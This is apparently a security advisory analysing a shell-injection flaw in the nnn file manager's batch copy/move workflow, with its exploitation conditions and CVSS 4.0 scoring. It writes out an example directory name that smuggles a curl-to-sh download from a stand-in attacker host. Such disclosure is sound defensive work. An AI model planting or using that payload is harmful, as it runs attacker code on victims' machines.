nnn file manager CVE-2026-65611

Three conditions must be satisfied simultaneously for exploitation. First, the victim must be using nnn as their file manager and must actively navigate into a directory whose name contains a single quote followed by shell metacharacters - passive directory listing or file preview does not trigger the vulnerability. Second, the victim must explicitly invoke the batch copy or move workflow while inside or acting on the crafted directory; other nnn operations such as renaming, opening, or viewing files are not affected. Third, the malicious directory must be reachable via a shared filesystem (NFS, SMB, SSHFS), removable media mount, or an extracted archive from an untrusted source - a standard home-directory tree created entirely by the victim user presents no attack surface. Exploitation is bounded by the victim's own Unix privileges; no privilege escalation beyond the nnn process user is described. The CVSS 4.0 UI:A metric confirms user interaction is mandatory and distinguishes this from remotely automatable attacks.

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:A accurately reflects the moderate but bounded real-world risk. AV:N acknowledges that the attack material can originate from network sources, and AC:L/AT:N confirm that no special conditions or timing requirements are needed to plant the malicious directory. However, UI:A is the primary limiting factor: exploitation is impossible without the victim actively navigating into the crafted directory and explicitly invoking the batch copy or move workflow - passive browsing does not trigger the vulnerability. Impact metrics VC:N/VA:N bound the direct damage to integrity only, with SC:L/SI:L/SA:L indicating limited spillover to subsequent systems. No EPSS score was provided in the available data, so probabilistic exploitation likelihood cannot be quantified. No CISA KEV listing and no public exploit code were identified at time of analysis, making this a credible but currently untriggered threat. The realistic priority is medium: relevant for environments where nnn users routinely work with untrusted shared filesystems or unpack third-party archives, low for environments where nnn is used only on fully trusted local storage.

An attacker creates a directory named something like docs'$(curl attacker.example/shell.sh|sh) and places it on a shared NFS or SMB mount accessible to nnn users, or bundles it inside a ZIP or tar archive distributed via download. When a victim running nnn navigates into this directory and performs a batch copy or move, nnn constructs a shell command string with the unsanitized directory name embedded, the injected shell code escapes the string context and executes with the victim's user privileges. No public exploit code exists at time of analysis, but the technique maps directly to classic shell injection and requires no specialized tooling.